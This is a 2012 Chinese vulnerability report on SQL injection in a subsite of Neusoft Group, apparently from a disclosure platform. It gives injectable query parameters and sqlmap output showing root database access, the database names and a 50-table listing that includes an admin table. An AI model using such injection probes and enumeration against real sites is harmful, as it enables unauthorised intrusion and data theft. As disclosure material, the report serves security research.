东软集团某分站root用户导致SQL注射漏洞

漏洞标题: 东软集团某分站root注入
相关厂商: 东软集团
漏洞作者: AttackSir
提交时间: 2012-11-08
公开时间: 2012-11-13
漏洞类型: SQL注射漏洞
危害等级: 中
自评Rank: 10
漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞详情

披露状态:

2012-11-08: 细节已通知厂商并且等待厂商处理中
2012-11-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:
注入漏洞确实不少~~

详细说明:
?id=21'
?id=7'
?tid=1'
?tid=1'
暂时就这么多把,随便访问其中一个都会有错误提示。

漏洞证明:

[11:09:23] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.9
back-end DBMS: MySQL 5.0
[11:09:23] [INFO] fetching current user
[11:09:23] [INFO] resumed: root@%
current user:    'root@%'

[11:09:23] [INFO] fetching current database
[11:09:23] [INFO] resumed: wit
current database:    'wit'
-------------------------------------------------------
[11:10:14] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.9
back-end DBMS: MySQL 5.0
[11:10:14] [INFO] fetching database names
[11:10:14] [INFO] the SQL query used returns 7 entries
[11:10:14] [INFO] starting 7 threads
[11:10:14] [INFO] resumed: information_schema
[11:10:14] [INFO] resumed: Copy of news
[11:10:14] [INFO] resumed: mysql
[11:10:14] [INFO] resumed: news
[11:10:14] [INFO] resumed: newsbak
[11:10:14] [INFO] resumed: test
[11:10:14] [INFO] resumed: wit
available databases [7]:
[*] Copy of news
[*] information_schema
[*] mysql
[*] news
[*] newsbak
[*] test
[*] wit
--------------------------------------------------
[11:10:44] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.9
back-end DBMS: MySQL 5.0
[11:10:44] [INFO] fetching tables for database: 'wit'
[11:10:45] [INFO] the SQL query used returns 50 entries
[11:10:45] [INFO] starting 10 threads
Database: wit
[50 tables]
+--------------------+
| abstruct           |
| activitypic        |
| admin              |
| apply              |
| applylist          |
| applyoklist        |
| clientcase         |
| clientcaselist     |
| clientcasetype     |
| defaultpic         |
| erpservicecase     |
| erpservicecaselist |
| erpservicedoc      |
| erpservicedoclist  |
| erpserviceeoc      |
| erpservicetype     |
| jbosok             |
| jobs               |
| links              |
| linkus             |
| message            |
| nether             |
| news               |
| newslist           |
| newstype           |
| noticedoc          |
| noticelist         |
| omservicecase      |
| omservicecaselist  |
| omservicedoc       |
| omservicedoclist   |
| omservicetype      |
| position           |
| positionlist       |
| positiontype       |
| pxinfolist         |
| pxnews             |
| pxnewstype         |
| register           |
| sendemail          |
| temp_tab           |
| uniontype          |
| xservicecase       |
| xservicecaselist   |
| xservicedoc        |
| xservicedoclist    |
| xservicetype       |
| zlinfolist         |
| zlnews             |
| zlnewstype         |
+--------------------+

修复方案:
你们懂的